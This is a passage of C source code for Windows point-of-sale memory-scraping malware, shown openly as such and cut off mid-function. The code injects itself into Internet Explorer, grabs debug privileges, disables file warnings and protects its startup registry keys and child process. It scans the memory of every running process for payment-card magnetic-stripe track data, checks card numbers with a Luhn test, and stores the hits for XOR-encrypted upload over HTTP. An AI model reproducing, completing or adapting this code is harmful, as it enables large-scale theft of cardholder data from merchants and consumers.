if(ParentPID!=0) { 111 | while(GetProcessVersion(ParentPID)!=0) { 112 | Sleep(2000); 113 | } 114 | } 115 | //////////////////////////////////////////// 116 | 117 | if(hMutex==0) { //This wont be NULL, when we injected 118 | //Make sure that only one istance will run 119 | SetLastError(ERROR_SUCCESS); 120 | hMutex = (DWORD) CreateMutex(NULL,FALSE,MutexString); 121 | if(GetLastError()==ERROR_ALREADY_EXISTS) { ExitProcess(0); } 122 | //////////////////////////////////////////////////////////////// 123 | } 124 | 125 | //Get current pid, to prevent self-scanning 126 | CurPID = GetCurrentProcessId(); 127 | 128 | //Heap init and config 129 | hHeap = GetProcessHeap(); 130 | //hFlag = HEAP_LFH; 131 | //HeapSetInformation(hHeap,HeapCompatibilityInformation,&hFlag,sizeof(hFlag)); 132 | ////////////////////////////////////////////// 133 | 134 | IsWoW64ProcessX = (mIsWoW64Process) GetProcAddress(GetModuleHandle("kernel32.dll"),"IsWow64Process"); 135 | //Check if injected 136 | if(bInjected==FALSE) { //Not injected - inject 137 | 138 | x64 = IsPCx64(); 139 | 140 | //Get IE path 141 | _memset(IEPath,0x00,sizeof(IEPath)); 142 | if(x64==TRUE) { 143 | CSIDL = CSIDL_PROGRAM_FILESX86; 144 | SHGetFolderPathW(NULL,CSIDL,NULL,SHGFP_TYPE_CURRENT,IEPath); 145 | lstrcatW(IEPath,L"\\Internet Explorer\\iexplore.exe"); } //we are running on x64 146 | else { CSIDL = CSIDL_PROGRAM_FILES; 147 | SHGetFolderPathW(NULL,CSIDL,NULL,SHGFP_TYPE_CURRENT,IEPath); 148 | lstrcatW(IEPath,L"\\Internet Explorer\\iexplore.exe"); } //we are running on x86 149 | /////////////////////////////////////////////////////////////////////////////// 150 | 151 | CurrentModule = (DWORD) GetModuleHandle(NULL); 152 | GetModuleFileNameW(NULL,OldLocation,sizeof(OldLocation)); 153 | lstrcpyW(CurrentLocation,OldLocation); 154 | BeginInjection(FALSE); 155 | 156 | } //here we get the old full path, so we can delete it later 157 | else { //Injected - load dll's 158 | 159 | LoadLibrary("user32.dll"); 160 | LoadLibrary("advapi32.dll"); 161 | LoadLibrary("shell32.dll"); 162 | LoadLibrary("urlmon.dll"); 163 | LoadLibrary("wininet.dll"); 164 | LoadLibrary("gdi32.dll"); 165 | LoadLibrary("rpcrt4.dll"); 166 | 167 | //Get module base 168 | _memset(&MBI,0x00,sizeof(MBI)); 169 | VirtualQuery(_entryPoint,&MBI,sizeof(MBI)); 170 | CurrentModule = (DWORD) MBI.AllocationBase; 171 | } 172 | 173 | 174 | //Check if infected 175 | if(CheckIfInfected()==FALSE) { Infect(); } 176 | 177 | //Disable open-file warning - at every start just for sure 178 | DisableOpenFileWarning(); 179 | ////////////////////////////////////////// 180 | 181 | //Needed for the GatherInfo / GetIdleTime 182 | _GetLastInputInfo = (__GetLastInputInfo) GetProcAddress(GetModuleHandle("user32.dll"),"GetLastInputInfo"); 183 | 184 | //Try to acquire debug privilegs 185 | GetDebugPrivs(); 186 | 187 | //Allocate blob to keep the grabbed dumps 188 | pBlob = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,StaticBlobSize); 189 | BlobSize = StaticBlobSize; 190 | GrowSize = 0; 191 | //////////////////////////////////////////////// 192 | 193 | 194 | lstrcpy(LastProcess,"NoProcess"); 195 | //Interval between each memory scan 196 | ScanInterval = MemoryScanInterval; 197 | //Interval between each connect to server 198 | ConnectInterval = HttpConnectInterval; 199 | 200 | //Init critical sections 201 | _memset(&crsBlob,0x00,sizeof(crsBlob)); 202 | InitializeCriticalSection(&crsBlob); //crsBlob - access the blob where the dumps are stored 203 | ////////////////////////////////////// 204 | 205 | //Create events 206 | hConnectEvent = CreateEvent(NULL,FALSE,FALSE,NULL); 207 | hInteractEvent = CreateEvent(NULL,FALSE,FALSE,NULL); 208 | ///////////////////////////////// 209 | 210 | //Generate random key for the xor encryption 211 | RandStrA(Key,5); 212 | _memset(EncodedKey,0x00,sizeof(EncodedKey)); 213 | base64_encode(Key,lstrlen(Key),EncodedKey,sizeof(EncodedKey)); 214 | 215 | //Create file mapping for caching track2 CRC32's 216 | if(hCacheMapping==NULL) { //The mapping is not created yet, create it. 217 | sa.nLength = sizeof(sa); 218 | sa.lpSecurityDescriptor = NULL; 219 | sa.bInheritHandle = TRUE; 220 | 221 | hCacheMapping = CreateFileMapping(INVALID_HANDLE_VALUE,&sa,PAGE_READWRITE,0,StaticCacheSize,NULL); 222 | pCacheMap = MapViewOfFile(hCacheMapping,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0); 223 | _memset(pCacheMap,0x00,StaticCacheSize); 224 | } else { //File mapping already exists, just map it 225 | pCacheMap = MapViewOfFile(hCacheMapping,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0); 226 | //MessageBox(NULL,pCacheMap,NULL,MB_OK); 227 | } 228 | CacheSize = 0; 229 | ///////////////////////////////////////////////////////////// 230 | 231 | //Start child for process protection 232 | BeginInjection(TRUE); 233 | 234 | CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MonitorShutdown,NULL,0,NULL); 235 | 236 | pGlobalBuf = VirtualAlloc(NULL,ReadLimit+4096,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); 237 | CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)HttpInteract,NULL,0,NULL); 238 | //SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_IDLE); 239 | //ScanMemory(); //Scan the memory before connecting to the http server so we grab data ultimately 240 | //Start creating threads 241 | 242 | hThreadScan = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ScanMemoryLoop,NULL,0,NULL); 243 | //SetThreadPriority(hThreadScan, THREAD_PRIORITY_IDLE); //Lowers the CPU usage when scanning the memory 244 | hThreadRegistry = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ProtectRegistry,NULL,0,NULL); //Thread that waits for change in the startup registry to restore them 245 | hThreadChild = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MonitorChild,NULL,0,NULL); //Thread that checks if child is dead to restart it 246 | 247 | //SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL); 248 | 249 | HttpMain(); 250 | } 251 | 252 | void ScanMemoryLoop() { 253 | 254 | DWORD dWait; 255 | 256 | while(1) { 257 | 258 | ScanMemory(); 259 | dWait = ScanInterval; 260 | Sleep(dWait); 261 | } 262 | } 263 | 264 | LRESULT CALLBACK DetectShutdown(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { 265 | 266 | if(message==WM_QUERYENDSESSION || lParam==ENDSESSION_LOGOFF) { 267 | 268 | SetEvent(hConnectEvent); 269 | Sleep(2000); 270 | return TRUE; 271 | } 272 | else { return DefWindowProc(hWnd, message, wParam, lParam); } 273 | 274 | return 0; 275 | } 276 | 277 | 278 | BOOL SkipProcess(char *ProcName); 279 | 280 | void TrackSearch(char *pBuf,DWORD RealBufSize); 281 | void TrackSearchNoSentinels(char *pBuf,DWORD RealBufSize); 282 | 283 | BOOL ScanMemory() { 284 | 285 | HANDLE hProcess,hProcesses; 286 | MEMORY_BASIC_INFORMATION MBI; 287 | BYTE *Buf; 288 | DWORD ReadAddr,QueryAddr,BytesRead,BufSize; 289 | BOOL bRet,pBool; 290 | 291 | 292 | bRet = FALSE; 293 | _memset(&ProcessInfo,0x00,sizeof(ProcessInfo)); 294 | ProcessInfo.dwSize = sizeof(PROCESSENTRY32); 295 | 296 | hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 297 | 298 | Process32First(hProcesses,&ProcessInfo); 299 | do{ //Enumerate processes 300 | 301 | if(SkipProcess(ProcessInfo.szExeFile)==TRUE) { continue; } 302 | if(CurPID==ProcessInfo.th32ProcessID||CurPID==ProcessInfo.th32ParentProcessID) { continue; } 303 | 304 | hProcess = NULL; 305 | Sleep(10); //gives the CPU slice of time 306 | 307 | hProcess = OpenProcess(PROCESS_VM_READ|PROCESS_QUERY_INFORMATION,FALSE,ProcessInfo.th32ProcessID); 308 | if(hProcess==NULL) { continue; } 309 | 310 | if(x64==TRUE) { //we are running in WOW64 environment 311 | IsWoW64ProcessX(hProcess,&pBool); 312 | if(pBool==FALSE) { //This is x64 process 313 | CloseHandle(hProcess); 314 | continue; 315 | } 316 | } 317 | 318 | 319 | QueryAddr = 0; 320 | while(1) { //Enumerate process memory regions 321 | 322 | //Sleep(1); 323 | _memset(&MBI,0x00,sizeof(MBI)); 324 | VirtualQueryEx(hProcess,(LPVOID)QueryAddr,&MBI,sizeof(MBI)); //if its bigger than 1 0 000 000 bytes, read only that amount 325 | if(MBI.BaseAddress==0 && QueryAddr!=0) { break; } //memory regions finished 326 | 327 | QueryAddr += (DWORD) MBI.RegionSize; 328 | 329 | if(MBI.Protect&PAGE_NOACCESS || MBI.Protect&PAGE_GUARD /*|| MBI.Protect&PAGE_EXECUTE || MBI.Protect&PAGE_EXECUTE_READ || MBI.State&MEM_FREE*/) { continue; } 330 | 331 | ReadAddr = 0; 332 | while(MBI.RegionSize>0) { 333 | 334 | if(ReadAddr!=0) { 335 | ReadAddr+=ReadLimit; 336 | } else { 337 | ReadAddr = (DWORD) MBI.BaseAddress; 338 | } 339 | 340 | if(MBI.RegionSize>ReadLimit) { 341 | 342 | BufSize = ReadLimit; 343 | MBI.RegionSize -= ReadLimit; 344 | 345 | } else { 346 | 347 | BufSize = MBI.RegionSize; 348 | MBI.RegionSize = 0; 349 | } 350 | 351 | BytesRead = 0; 352 | //Buf = HeapAlloc(hHeap,0,BufSize+100); //+100 just for in case 353 | 354 | //Buf = VirtualAlloc(NULL,BufSize+100,MEM_COMMIT,PAGE_READWRITE); 355 | Buf = pGlobalBuf; 356 | ReadProcessMemory(hProcess,(LPVOID)ReadAddr,Buf,BufSize,&BytesRead); //Common issue for dumpers, cuz you cant know if the memory region is not corrupted 357 | //if(GetLastError()==ERROR_PARTIAL_COPY) { MessageBox(NULL,NULL,NULL,MB_OK); } 358 | 359 | 360 | 361 | //MessageBox(NULL,ProcessInfo.szExeFile,NULL,MB_OK); 362 | TrackSearch(Buf,BytesRead); 363 | TrackSearchNoSentinels(Buf,BytesRead); 364 | 365 | 366 | //VirtualFree(NULL,BufSize+100,PAGE_READWRITE); 367 | //HeapFree(hHeap,0,Buf); 368 | } 369 | 370 | } //enumerate memory loop 371 | 372 | CloseHandle(hProcess); 373 | 374 | //Sleep(50); //give the processor some rest - MAY HAVE TO INCREASE 375 | }while(Process32Next(hProcesses, &ProcessInfo)); //enumerate processes loop 376 | 377 | CloseHandle(hProcesses); 378 | 379 | 380 | return bRet; 381 | } 382 | 383 | void AddCache(BYTE *ptr, DWORD len) { 384 | 385 | BYTE *pTemp; 386 | 387 | //MessageBox(NULL,"Add Cache",NULL,MB_OK); 388 | if((CacheSize+len)>StaticCacheSize) { 389 | _memset(pCacheMap,0x00,CacheSize); 390 | CacheSize = 0; 391 | } 392 | 393 | pTemp = (pCacheMap+CacheSize); 394 | _memcpy(pTemp,ptr,len); 395 | CacheSize += len; 396 | 397 | //MessageBox(NULL,pCacheMap,NULL,MB_OK); 398 | } 399 | 400 | void AddItem(BYTE *ptr, DWORD len) { 401 | 402 | BYTE *pTempBlob,ProcessName[64]; 403 | DWORD ProcessNameLen,NewSize; 404 | 405 | 406 | 407 | ProcessNameLen = (lstrlen(ProcessInfo.szExeFile)+lstrlen(LastProcess)+2); //+2 for the '|' and ':' marking symbols 408 | 409 | EnterCriticalSection(&crsBlob); 410 | 411 | GrowSize += len; 412 | 413 | if((GrowSize+ProcessNameLen)>BlobSize) { //Need to re-alloc 414 | 415 | //MessageBox(NULL,"Buffer Full",NULL,MB_OK); 416 | //pTempBlob = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,BlobSize+ReAllocChunk); 417 | NewSize = BlobSize+ReAllocChunk; 418 | pTempBlob = VirtualAlloc(NULL,NewSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); 419 | 420 | _memcpy(pTempBlob,pBlob,BlobSize); 421 | 422 | VirtualFree(pBlob,BlobSize,MEM_FREE); 423 | //HeapFree(hHeap,HEAP_ZERO_MEMORY,pBlob); 424 | 425 | pBlob = pTempBlob; 426 | BlobSize = NewSize; 427 | } 428 | 429 | if(lstrcmp(LastProcess,ProcessInfo.szExeFile)!=0 || GrowSize==len) { //if we enumare other process or we are starting logging new dumps 430 | 431 | lstrcpy(LastProcess,ProcessInfo.szExeFile); 432 | ProcessNameLen = lstrlen(LastProcess)+2; 433 | 434 | _memset(ProcessName,0x00,sizeof(ProcessName)); 435 | wsprintf(ProcessName,"|%s:",LastProcess); 436 | 437 | _memcpy(pBlob,ProcessName,ProcessNameLen); 438 | pBlob += ProcessNameLen; 439 | GrowSize += ProcessNameLen; 440 | } 441 | 442 | _memcpy(pBlob,ptr,len); 443 | pBlob += len; 444 | 445 | LeaveCriticalSection(&crsBlob); 446 | 447 | } 448 | 449 | int IsValidCC(const char* cc,int CClen) 450 | { 451 | const int m[] = {0,2,4,6,8,1,3,5,7,9}; // mapping for rule 3 452 | int i, odd = 1, sum = 0; 453 | 454 | for (i = CClen; i--; odd = !odd) { 455 | int digit = cc[i] - '0'; 456 | sum += odd ? digit : m[digit]; 457 | } 458 | 459 | return sum % 10 == 0; 460 | } 461 | 462 | BOOL IsDigit(char c) { 463 | 464 | if(c>=0x30 && c<=0x39) { return TRUE; } else { return FALSE; } 465 | } 466 | 467 | int DigitsLen(char *Str,BOOL bWCHAR,BOOL bSentinel) { 468 | 469 | int len; 470 | 471 | len = 0; 472 | 473 | while(IsDigit(*Str)==TRUE) { 474 | 475 | len++; 476 | 477 | 478 | if(bSentinel==TRUE) { //Searching with sentinels - from the beginning 479 | Str++; 480 | if(bWCHAR==TRUE) { Str++; } 481 | } else { //Searching without sentinels - searching from the middle 482 | Str--; 483 | if(bWCHAR==TRUE) { Str--; } 484 | } 485 | 486 | if(len>19) { return -1; } //This is too over MaxLen 487 | } 488 | 489 | if(len!=15 && len!=16 && len!=19) { return -1; } 490 | 491 | return len; 492 | } 493 | 494 | BOOL IsNameChar(char c) { 495 | 496 | if((c>=0x41 && c<=0x5A) 497 | ||(c>=0x61 && c<=0x7A) 498 | ||c==' '||c=='^'||c=='/') { 499 | 500 | return TRUE; 501 | } else { return FALSE; } 502 | } 503 | 504 | int Track1NameLength(char *Str,BOOL bWCHAR) { 505 | 506 | int len; 507 | 508 | len = 0; 509 | 510 | while(IsNameChar(*Str)==TRUE) { 511 | len++; 512 | Str++; 513 | if(bWCHAR==TRUE) { Str++; } 514 | if(len>26) { return -1; } //This is to over MaxLen 515 | } 516 | 517 | if(len<2 || len>26) { return -1; } 518 | 519 | return len; 520 | } 521 | 522 | int IsEndDataValid(char *Str,BOOL bWCHAR,BOOL bSentinel,int MaxValidLen) { 523 | 524 | int len; 525 | 526 | len = 0; 527 | 528 | while(IsDigit(*Str)==TRUE) { 529 | len++; 530 | Str++; 531 | if(bWCHAR==TRUE) { Str++; } 532 | if(len>MaxValidLen) { return -1; } 533 | } 534 | 535 | if(bSentinel==TRUE) { // Check for '?', only when looking for sentinel 536 | if(*Str=='?') { len++; if(len>=MinimalEndData) { return len; } else { return -1; } } else { return -1; } 537 | } else { if(len>=MinimalEndData) { return len; } else { return -1; } } //When there is no sentinel 538 | } 539 | 540 | void TrackSearchNoSentinels(char *pBuf,DWORD RealBufSize) { 541 | 542 | char *sBuf,*Buf,CC[20],Track1[T1MaxLen],Track2[T2MaxLen],*ptr; 543 | BOOL bWCHAR,bSentinel,bIncreased; 544 | DWORD len,TotalLen,decreased,CClen; 545 | 546 | 547 | bIncreased = FALSE; 548 | decreased = 0; 549 | while(RealBufSize>0) { 550 | 551 | Check: 552 | Buf = pBuf; 553 | 554 | if(*Buf!=0x00 && *Buf<0x7F && *Buf>0x20) { 555 | 556 | //START SEARCHING WITHOUT SENTINELS 557 | if(*Buf=='^' && decreased>25) { //TRACK 1 558 | //bIncreased = FALSE; 559 | TotalLen = 0; 560 | Buf--; //back skip '^' 561 | sBuf = Buf; 562 | 563 | if(*Buf==0x00 && (IsDigit(*(--Buf))==TRUE)) { 564 | 565 | bWCHAR=TRUE; 566 | 567 | } else if(IsDigit(*sBuf)==TRUE) { 568 | 569 | bWCHAR=FALSE; 570 | 571 | } else { pBuf++; RealBufSize--; continue; } 572 | bSentinel = FALSE; 573 | 574 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length 575 | 576 | if(bWCHAR==FALSE) { Buf-=(len-1); } else { Buf-=2*(len-1); } //-1 cuz otherwise we get 1 char before the CC 577 | sBuf = Buf; 578 | 579 | _memset(CC,0x00,sizeof(CC)); 580 | if(bWCHAR==TRUE) { 581 | 582 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL); 583 | 584 | } else { 585 | 586 | _memcpy(CC,Buf,len); 587 | } 588 | TotalLen += len; //for CC len 589 | CClen = len; 590 | 591 | 592 | if(IsValidCC(CC,len)==TRUE) { 593 | //MessageBox(NULL,"Valid CC",NULL,MB_OK); 594 | 595 | //Skip CC 596 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 597 | 598 | if(*Buf=='^') { //May be valid Track1 name 599 | 600 | //MessageBox(NULL,"May be valid Track1 name",NULL,MB_OK); 601 | if((len = Track1NameLength(Buf,bWCHAR))!=-1) { 602 | 603 | //MessageBox(NULL,"Valid Track1 name",NULL,MB_OK); 604 | 605 | //Skip Track1 name 606 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 607 | TotalLen += len; //for Track1 name 608 | 609 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T1MaxLen-TotalLen)))!=-1) { //We have valid track 1 610 | 611 | //Skip track 1 end data 612 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 613 | TotalLen += len; 614 | 615 | _memset(Track1,0x00,sizeof(Track1)); 616 | ptr = Track1; 617 | *ptr = '%'; 618 | ptr++; 619 | *ptr = 'B'; 620 | ptr++; 621 | if(bWCHAR==FALSE) { _memcpy(ptr,sBuf,TotalLen); } 622 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,ptr,sizeof(Track1),NULL,NULL); } 623 | 624 | ptr+=lstrlen(ptr); 625 | *ptr = '?'; 626 | 627 | 628 | if(StrStr(pCacheMap,Track1)==NULL) { //not logged 629 | 630 | //Sleep(1); 631 | //MessageBox(NULL,"Add Item",NULL,MB_OK); 632 | AddItem(Track1,TotalLen+3); 633 | AddCache(Track1,TotalLen+3); 634 | 635 | TotalLen -= CClen; 636 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen ; RealBufSize -= 2*TotalLen; } 637 | bIncreased = TRUE; 638 | //MessageBoxW(NULL,pBuf,NULL,MB_OK); 639 | //OutputDebugString("After bIncreased"); 640 | } 641 | //printf("%s\n",Track1); 642 | } 643 | } 644 | } 645 | } 646 | } 647 | } 648 | 649 | 650 | if((*Buf=='=' || *Buf=='D') && decreased>25) { //TRACK 2 651 | //bIncreased = FALSE; 652 | TotalLen = 0; 653 | Buf--; //back skip '=' 654 | sBuf = Buf; 655 | 656 | if(*Buf==0x00 && (IsDigit(*(--Buf))==TRUE)) { 657 | 658 | //MessageBox(NULL,"May be WCHAR track1 backlen",NULL,MB_OK); 659 | bWCHAR=TRUE; 660 | 661 | } else if(IsDigit(*sBuf)==TRUE) { 662 | 663 | //MessageBox(NULL,"May be char track1 backlen",NULL,MB_OK); 664 | bWCHAR=FALSE; 665 | } else { pBuf++; RealBufSize--; continue; } 666 | bSentinel = FALSE; 667 | 668 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length 669 | 670 | if(bWCHAR==FALSE) { Buf-=(len-1); } else { Buf-=2*(len-1); } //-1 cuz otherwise we get 1 char before the CC 671 | sBuf = Buf; 672 | 673 | _memset(CC,0x00,sizeof(CC)); 674 | if(bWCHAR==TRUE) { 675 | 676 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL); 677 | 678 | } else { 679 | 680 | _memcpy(CC,Buf,len); 681 | } 682 | TotalLen += len; //for CC len 683 | CClen = len; 684 | 685 | 686 | if(IsValidCC(CC,len)==TRUE) { 687 | //MessageBox(NULL,"Valid CC",NULL,MB_OK); 688 | 689 | //Skip CC 690 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 691 | 692 | if(*Buf=='=' || *Buf=='D') { //May be valid Track2 693 | 694 | if(bWCHAR==FALSE) { Buf++; } else { Buf += 2; } 695 | TotalLen += 1; 696 | 697 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T2MaxLen-TotalLen)))!=-1) { //We have valid track 1 698 | 699 | //Skip track 2 end data 700 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 701 | TotalLen += len; 702 | 703 | _memset(Track2,0x00,sizeof(Track2)); 704 | ptr = Track2; 705 | *ptr = ';'; 706 | ptr++; 707 | if(bWCHAR==FALSE) { _memcpy(ptr,sBuf,TotalLen); } 708 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,ptr,sizeof(Track2),NULL,NULL); } 709 | 710 | ptr+=lstrlen(ptr); 711 | *ptr = '?'; 712 | 713 | 714 | if(StrStr(pCacheMap,Track2)==NULL) { //not logged 715 | 716 | //Sleep(1); 717 | //MessageBox(NULL,Track2,NULL,MB_OK); 718 | //Corrupt 719 | AddItem(Track2,TotalLen+2); 720 | AddCache(Track2,TotalLen+2); 721 | 722 | TotalLen -= CClen; 723 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen; RealBufSize -= 2*TotalLen; } 724 | bIncreased = TRUE; 725 | // MessageBoxW(NULL,pBuf,NULL,MB_OK); 726 | 727 | } 728 | 729 | } 730 | } 731 | } 732 | } 733 | } 734 | 735 | } //if(*Buf<0x7F && *Buf>0x20) 736 | if(bIncreased==TRUE) { bIncreased=FALSE; goto Check; } //We just found dump, and increased over it, dont skip that char after the dump 737 | pBuf++; 738 | RealBufSize--; 739 | decreased++; 740 | } //while(BufSize>0) 741 | } 742 | 743 | void TrackSearch(char *pBuf,DWORD RealBufSize) { 744 | 745 | char *sBuf,*Buf,CC[20],Track1[T1MaxLen],Track2[T2MaxLen],Track3[T3MaxLen]; 746 | BOOL bWCHAR,bSentinel,bIncreased; 747 | DWORD len,TotalLen; 748 | 749 | 750 | bIncreased = FALSE; 751 | while(RealBufSize>0) { 752 | 753 | Check: 754 | Buf = pBuf; 755 | if(*Buf!=0x00 && *Buf<0x7F && *Buf>0x20) { 756 | 757 | //Now start checking what kind of track is that 758 | if(*Buf=='%' && RealBufSize>T1MaxLen) { //Check if this is track1 759 | 760 | //bIncreased = FALSE; 761 | TotalLen = 0; 762 | Buf++; //skip '%' 763 | 764 | sBuf = Buf; 765 | if(*Buf==0x00 && (*(++Buf)=='B' || *Buf=='b')) { //May be WCHAR track1 766 | 767 | //MessageBox(NULL,"May be WCHAR track1",NULL,MB_OK); 768 | bWCHAR = TRUE; 769 | Buf+=2; //Skip 'B' 770 | 771 | } else if(*sBuf=='B' || *sBuf=='b') { //May be char track1 772 | 773 | //MessageBox(NULL,"May be char track1",NULL,MB_OK); 774 | bWCHAR = FALSE; 775 | Buf++; //Skip 'B' 776 | 777 | } else { pBuf++; RealBufSize--; continue; } 778 | TotalLen += 2; // for %B 779 | 780 | bSentinel = TRUE; 781 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length 782 | //MessageBox(NULL,"Valid CC Length",NULL,MB_OK); 783 | 784 | _memset(CC,0x00,sizeof(CC)); 785 | if(bWCHAR==TRUE) { 786 | 787 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL); 788 | 789 | } else { 790 | 791 | _memcpy(CC,Buf,len); 792 | } 793 | TotalLen += len; //for CC len 794 | 795 | 796 | if(IsValidCC(CC,len)==TRUE) { 797 | //MessageBox(NULL,"Valid CC",NULL,MB_OK); 798 | 799 | //Skip CC 800 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 801 | 802 | if(*Buf=='^') { //May be valid Track1 name 803 | 804 | //MessageBox(NULL,"May be valid Track1 name",NULL,MB_OK); 805 | if((len = Track1NameLength(Buf,bWCHAR))!=-1) { 806 | 807 | //MessageBox(NULL,"Valid Track1 name",NULL,MB_OK); 808 | 809 | //Skip Track1 name 810 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 811 | TotalLen += len; //for Track1 name 812 | 813 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T1MaxLen-TotalLen)))!=-1) { //We have valid track 1 814 | 815 | //Skip track 1 end data 816 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 817 | 818 | TotalLen += len; 819 | sBuf--; //cuz we skipped the % before we assigned this pointer 820 | 821 | _memset(Track1,0x00,sizeof(Track1)); 822 | if(bWCHAR==FALSE) { _memcpy(Track1,sBuf,TotalLen); } 823 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,Track1,sizeof(Track1),NULL,NULL); } 824 | 825 | 826 | 827 | if(StrStr(pCacheMap,Track1)==NULL) { //not logged 828 | 829 | //Sleep(1); 830 | //MessageBox(NULL,Track1,NULL,MB_OK); 831 | AddItem(Track1,TotalLen); 832 | AddCache(Track1,TotalLen); 833 | 834 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen ; RealBufSize -= 2*TotalLen; } 835 | bIncreased = TRUE; 836 | //OutputDebugString("After bIncreased"); 837 | } 838 | //printf("%s\n",Track1); 839 | } 840 | } 841 | } 842 | } 843 | } 844 | 845 | } //TACK 1 846 | 847 | 848 | if(*Buf==';' && RealBufSize>T2MaxLen) { //Check if this is track2 849 | 850 | //bIncreased = FALSE; 851 | TotalLen = 0; 852 | Buf++; //skip ';' 853 | 854 | sBuf = Buf; 855 | //Check is this WCHAR and first digit of CC 856 | if(*Buf==0x00 && (IsDigit(*(++Buf))==TRUE)) { 857 | 858 | bWCHAR = TRUE; 859 | // MessageBox(NULL,"May be WCHAR track2",NULL,MB_OK); 860 | } else if(IsDigit(*sBuf)==TRUE) { 861 | 862 | bWCHAR = FALSE; 863 | // MessageBox(NULL,"May be WCHAR track2",NULL,MB_OK); 864 | } else { pBuf++; RealBufSize--; continue; } 865 | TotalLen += 1; //for ';' 866 | 867 | bSentinel = TRUE; 868 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length 869 | //MessageBox(NULL,"Valid CC Length",NULL,MB_OK); 870 | 871 | _memset(CC,0x00,sizeof(CC)); 872 | if(bWCHAR==TRUE) { 873 | 874 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL); 875 | 876 | } else { 877 | 878 | _memcpy(CC,Buf,len); 879 | 880 | } 881 | TotalLen += len; //for CC len 882 | 883 | if(IsValidCC(CC,len)==TRUE) { 884 | //MessageBox(NULL,"Valid CC",NULL,MB_OK); 885 | 886 | //Skip CC 887 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 888 | 889 | if(*Buf=='=' || *Buf=='D') { 890 | 891 | if(bWCHAR==FALSE) { Buf++; } else { Buf += 2; } 892 | TotalLen += 1; 893 | 894 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T2MaxLen-TotalLen)))!=-1) { //We have valid track 2 895 | 896 | //Skip track 2 end data 897 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 898 | TotalLen += len; 899 | 900 | sBuf--; //cuz we skipped the ; before we assigned this pointer 901 | 902 | _memset(Track2,0x00,sizeof(Track2)); 903 | if(bWCHAR==FALSE) { _memcpy(Track2,sBuf,TotalLen); } 904 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,Track2,sizeof(Track2),NULL,NULL); } 905 | 906 | //MessageBox(NULL,Track2,NULL,MB_OK); 907 | if(StrStr(pCacheMap,Track2)==NULL) { //not logged 908 | 909 | //Sleep(1); 910 | //MessageBox(NULL,Track2,NULL,MB_OK); 911 | //Corrupt 912 | AddItem(Track2,TotalLen); 913 | AddCache(Track2,TotalLen); 914 | 915 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen ; RealBufSize -= 2*TotalLen; } 916 | 917 | bIncreased = TRUE; 918 | } 919 | } 920 | 921 | } 922 | } 923 | 924 | } 925 | 926 | }// TRACK 2 927 | 928 | 929 | if((*Buf=='+' || *Buf=='!' || *Buf=='#') && RealBufSize>T3MaxLen) { //Check if this is track3 930 | 931 | //bIncreased = FALSE; 932 | TotalLen = 0; 933 | Buf++; //skip '+' 934 | 935 | sBuf = Buf; 936 | //Check is this WCHAR and first digit of track3 937 | if(*Buf==0x00 && (IsDigit(*(++Buf))==TRUE)) { 938 | 939 | bWCHAR = TRUE; 940 | 941 | } else if(IsDigit(*sBuf)==TRUE) { 942 | 943 | bWCHAR = FALSE; 944 | 945 | } else { pBuf++; RealBufSize--; continue; } 946 | 947 | 948 | //We are the first digit after + currently, check if next is digit too, since track3 has 2 digits after the + right before the CC 949 | if(bWCHAR==TRUE) { 950 | Buf += 2; 951 | if(IsDigit(*Buf)==FALSE) { pBuf++; RealBufSize--; continue; } 952 | Buf += 2; 953 | //MessageBox(NULL,"May be WCHAR track3",NULL,MB_OK); 954 | } else { 955 | Buf++; 